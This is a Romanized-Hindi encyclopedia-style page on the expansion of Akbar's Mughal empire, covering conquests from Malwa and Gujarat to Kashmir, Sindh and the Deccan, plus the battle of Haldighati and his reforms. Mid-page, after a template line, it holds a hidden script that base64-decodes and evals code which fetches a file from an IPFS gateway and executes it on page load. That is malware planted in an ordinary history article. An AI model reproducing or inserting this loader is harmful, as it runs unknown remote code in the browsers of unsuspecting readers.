अकबर का साम्राज्य विस्तार

akabar vishay soochi

akabar    parichay    mata-pita se bichhu dana    akabar ki shiksha    rajyabhishek    hemoo se samana    akabar ka vivah    bairam khaan ki hatya    adaham khaan ki hatya    sahasi vyaktittv    akabar ke prarambhik sudhar    uttar bharat par vijay    dakshin ki vijay    jite ge rajy    vidroh ka daman    rajapoot v dharmik niti    hinduoan par prabhav    akabar aur brajamandal    kala-sahity mean yogadan    akabar ke navaratn    akabar ki mrityu

akabar ka samrajy vistar
akabar|200px|center
poora nam	jalaluddin muhammad akabar
janm	15 aktoobar sanh 1542 (lagabhag)
janm bhoomi	amarakot, sindh (pakistan)
mrityu tithi	27 aktoobar sanh 1605 (umr 63 varsh)
mrityu sthan	fatehapur sikari, agara
pita/mata	humayooan, mariyam maqani
pati/patni	mariyam-uzh-zamani (haraka baee)
santan	jahaangir ke alava 5 putr 7 betiyaan
upadhi	jalal-ud-din
rajy sima	uttar aur madhy bharat
shasan kal	27 janavari, 1556 - 27 aktoobar, 1605
sha. avadhi	49 varsh
rajyabhishek	14 farabari 1556 kalanapur ke pas guradasapur
dharmik manyata	naya mazahab banaya din-e-ilahi
yuddh	panipat, haldighati
sudhar-parivartan	jaziya hataya, rajapootoan se vivah sanbandh
rajadhani	fatehapur sikari agara, dilli
poorvadhikari	humayooan
uttaradhikari	jahaangir
rajagharana	mugal
vansh	taimoor aur changez khaan ka vansh
maqabara	sikandara, agara
sanbandhit lekh	mugal kal

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jalaluddin muhammad akabar bharat ka mahanatam mugal shanhashah badashah tha. jisane mugal shakti ka bharatiy upamahadvip ke adhikaansh hissoan mean vistar kiya. akabar ko akabar-ai-azam, shahanshah akabar tatha mahabali shahanshah ke nam se bhi jana jata hai. akabar ka samrajy vistar do vargoan mean vibhajit kiya ja sakata haian-

1. uttar bharat ki vijay aur
2. dakshin bharat ki vijay

uttar bharat ki vijay

panipat yuddh ke bad 1559 ee. mean akabar ne gvaliyar par, 1560 ee. mean usake senapati jamal khaan ne jaunapur par tatha 1561 ee. mean asaph khaan ne chunar ke qile par adhikar kar liya.

malava vijay

yahaan ke shasak baj bahadur ko 1561 ee. mean adaham khaan ke netritv mean mugal sena ne parast kar diya. 29 march, 1561 ee. ko malava ki rajadhani ‘sarangapur’ par mugal senaoan ne adhikar kar liya. akabar ne adaham khaan ko vahaan ki soobedari sauanpi. 1562 ee. mean pir muhammad malava ka soobedar bana. yah ek atyachari pravritti ka vyakti tha. baj bahadur ne dakshin ke shasakoan ke sahayog se punah malava par adhikar kar liya. pir muhammad bhagate samay narmada nadi mean doob kar mar gaya. is bar akabar ne abdulla khaan ujabeg ko baj bahadur ko parast karane ke lie bheja. baj bahadur ne parajit hokar akabar ki adhinata svikar kar akabar ke darabar mean dvi-hazari manasab prapt kiya. 1564 ee. mean akabar ne goandavana vijay hetu ‘asaph khaan’ ko bheja. tatkalin goandavana rajy ki shasika v mahoba ki chandel rajakumari ‘rani durgavati’, jo apane alpayu putr ‘viranarayan’ ki sanrakshika ke roop mean shasan kar rahi thi, ne asaph khaan ke netritv vali mugal sena ka dat kar mukabala kiya. antatah maan aur putr donoan viragati ko prapt hue. 1564 ee. mean goandavana mugal samrajy ke adhin ho gaya.

rajasthan vijay

1. REDIRECTsaancha:mukhy

rajasthan ke rajapoot shasak apane parakram, atmamman evan svatantrata ke lie prasiddh the. akabar ne rajapootoan ke prati vishesh niti apanate hue un rajapoot shasakoan se mitrata evan vaivahik sambandh sthapit kiye, jinhoanne usaki adhinata svikar kar li. kintu jinhoanne adhinata svikar nahian ki, unase yuddh ke dvara adhinata svikar karavane ka prayatn kiya.

gujarat vijay (1572-73 ee.)

gujarat ek samriddh, unnatishil evan vyaparik kendr ke roop mean prasiddh tha. isalie akabar ise apane adhikar mean karane hetu utsuk tha. sitambar 1572 ee. mean akabar ne svayan hi gujarat ko jitane ke lie prasthan kiya. us samay gujarat ka shasak mujaphphar khaan tritiy tha. lagabhag dedh mahine ke sangharsh ke bad 26 faravari, 1573 ee. tak akabar ne soorat, ahamadabad evan kaimbe par adhikar kar liya. akabar ‘khane ajam’ mirza ajij koka ko gujarat ka garvanar niyukt kar vapas agara a gaya, kintu usake agara pahuanchate hi soochana mili ki, gujarat mean muhammad husain mirza ne vidroh kar diya hai. atah turant hi akabar ne gujarat ki or mu dakar 2 sitambar, 1573 ee. ko vidroh ko kuchal diya. akabar ke is abhiyan ko smthi ne ‘sansar ke itihas ka sarvadhik drutagami akraman’ kaha hai. is prakar gujarat akabar ke samrajy ka ek pakka aang ban gaya. usake vitt tatha rajasv ka punarsaganthan todaramal ne kiya, jisaka kary us prant mean sihabuddin ahamad ne 1573 ee. se 1584 ee. tak kiya. gujarat mean hi akabar sarvapratham purtagaliyoan se mila aur yahian par usane pahali bar samudr ko dekha. gujarat ko jitane ke bad akabar ne poore uttar bharat mean ‘karo di’ nam ke ek adhikari ki niyukti ki. is adhikari ko apane kshetr se ek karo d dam vasool karana hota tha. ‘karo di’ ki sahayata ke lie ‘amil’ niyukt kiye ge. ye qanoonagoan dvara bataye gaye aank de ki bhi jaanch karate the. vastavik utpadan, sthaniy qimatean, utpadakata adi par unaki soochana ke adhar par akabar ne 1580 ee. mean 'dahasala' nam ki navin pranali ko prarambh kiya.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bihar evan bangal par vijay (1574-1576 ee.)

bihar evan bangal par suleman karrani akabar ki adhinata mean shasan karata tha. karrani ki mrityu ke bad usake putr daood ne apani svatantrata ki ghoshana kar di. akabar ne munam khaan ke netritv mean mugal sena ko daood ko parajit karane ke lie bheja, sath hi munam khaan ki sahayata hetu khud bhi gaya. 1574 ee. mean daood bihar se bangal bhag gaya. akabar ne bangal vijay ka sampoorn dayitv munam khaan ko sauanp diya aur vapas fatehapur sikari a gaya. munam khaan ne bangal pahuanchakar daood ko suvarn rekha nadi ke poorvi kinare par sthit ‘tukaraee’ namak sthan par 3 march, 1575 ee. ko parast kiya. daood ki mrityu julaee, 1576 ee.mean ho gee. is tarah se bangal evan bihar par mugaloan ka adhikar ho gaya.

akabar ke kuchh mahattvapoorn kary

varsh	kary
1562 ee.	das pratha ka ant
1562 ee.	akabar ki ‘haramadal’ se mukti
1563 ee.	tirth yatra kar samapt
1564 ee.	jaziya kar samapt
1565 ee.	dharm parivartan par pabandi
1571 ee.	fatehapur sikari ki sthapana
1571 ee.	rajadhani agara se fatehapur sikari sthanantarit
1575 ee.	ibadat khane ki sthapana
1578 ee.	ibadat khane mean sabhi dharmoan ka pravesh
1579 ee.	‘mazahar’ ki ghoshana
1582 ee.	‘din-e-ilahi’ ki ghoshana
1582 ee.	soory pooja v agni pooja ka prachalan karaya
1583 ee.	ilahi sanvath ki sthapana

haldighati ka yuddh (18 joon, 1576 ee.)

uday sianh ki mrityu ke bad meva d ka shasak maharana pratap hua. akabar ne meva d ko poornaroop se jitane ke lie aprail, 1576 ee. mean amer ke raja manasianh evan asaph khaan ke netritv mean mugal sena ko akraman ke lie bheja. donoan senaoan ke madhy goguda ke nikat aravali paha di ki ‘haldi ghati’ shakha ke madhy hua. is yuddh mean ranapratap parajit hue. unaki jan jhala ke nayak ki niahsvarth bhakti ke karan bach saki, kyoanki usane apane ko rana ghoshit kar shahi dal ke akraman ko apane oopar le liya tha. rana ne chetak par savar hokar paha diyoan ki or bhag kar ashray liya. yah abhiyan bhi meva d par poorn adhikar ke bina hi samapt ho gaya. 1597 ee. mean rana pratap ki mrityu ke bad unaka putr amar sianh uttaradhikari hua. usake shasan kal 1599 ee. mean manasianh ke netritv mean ek bar phir mugal sena ne akraman kiya. amar sianh ki parajay ke bad bhi meva d abhiyan adhoora raha, jise bad mean jahaangir ne poora kiya.

kabul vijay (1581 ee.)

mirza hakim, jo rishte mean akabar ka sautela bhaee tha, ‘kabul’ par svatantr shasak ke roop mean shasan kar raha tha. samrat banane ki mahatvakaanksha mean usane panjab par akraman kiya. usake vidroh ko kuchalane ke lie akabar ne 8 faravari, 1581 ee. ko ek brihad sena ke sath afaganistan ki or prasthan kiya. akabar ke ane ka samachar sunakar mirza hakim kabul ki or vapas ho gaya. 10 agast 1581 ee. ko akabar ne mirza ki bahan bakhtunnisa begam ko kabul ki soobedari sauanpi. kalantar mean akabar ne kabul ko samrajy mean mila kar manasianh ko soobedar banaya. [[chitr:Humayun-Babur-Jahangir-Akbar.jpg|thumb|250px|left|humayooan, babar, jahaangir aur akabar]]

kashmir vijay (1585-1586 ee.)

akabar ne kashmir par adhikar karane ke lie bhagavan das evan kasim khaan ke netritv mean mugal sena ko bheja. mugal sena ne tho de se sangharsh ke bad yahaan ke shasak ‘yusuph khaan’ ko bandi bana liya. bad mean yusuph khaan ke l dake ‘yakoob’ ne sangharsh ki shuruat ki, kintu shrinagar mean hue vidroh ke karan use mugal sena ke samaksh atsamarpan karana p da. 1586 ee. mean kashmir ka vilay mugal samrajy mean ho gaya.

siandh vijay (1591 ee.)

akabar ne abdurrahim khanakhana ko siandh ko jitane ka dayitv sauanpa. 1591 ee. mean siandh ke shasak janibeg evan khanakhana ke madhy k da sangharsh hua. antatah siandh par mugaloan ka adhikar ho gaya.

u disa vijay (1590-1592 ee.)

1590 ee. mean raja manasianh ke netritv mean mugal sena ne u disa ke shasak nisar khaan par akraman kar atmasamarpan ke lie vivash kiya, parantu antim roop se u disa ko 1592 ee. mean mugal samrajy ke adhin kiya gaya.

baloochistan vijay (1595 ee.)

mir masoom ke netritv mean mugal senaoan ne 1595 ee. mean baloochistan par akraman kar vahaan ke afaganoan ko harakar use mugal samrajy mean mila liya.

kandhar vijay (1595 ee.)

bairam khaan ke sanrakshan kal 1556-1560 ee. mean kandhar mugaloan ke hath se nikal gaya tha. kandhar ka soobedar mujaphphar husain mirza kandhar ko svechchha se mugal saradar shahabeg ko sauanpakar svayan akabar ka manasabadar ban gaya. is tarah akabar meva d ke atirikt sampoorn uttari bharat par adhikar karane mean saphal hua.

akabar ki dakshin vijay

1. REDIRECTsaancha:mukhy

bahamani rajy ke vikhandan ke uparant bane rajyoan khanadesh, ahamadanagar, bijapur evan golakunda ko akabar ne apane adhin karane ke lie 1591 ee. mean ek dootamandal ko dakshin ki or bheja. mugal sima ke sarvadhik nazadik hone ke karan ‘khanadesh’ ne mugal adhipaty ko svikar kar liya. ‘khanadesh’ ko dakshin bharat ka ‘pravesh dvar’ bhi mana jata hai.

akabar dvara vidroh daman

1. REDIRECTsaancha:mukhy

akabar ke samay mean bahut vidroh hue the. kuchh mahattvapoorn vidroh ke nam nimnalikhit haian-

1. ujabegoan ka vidroh
2. mirzaoan ka vidroh
3. bangal evan bihar ka vidroh
4. yoosufajiyoan ka vidroh
5. shahazada salim ka vidroh

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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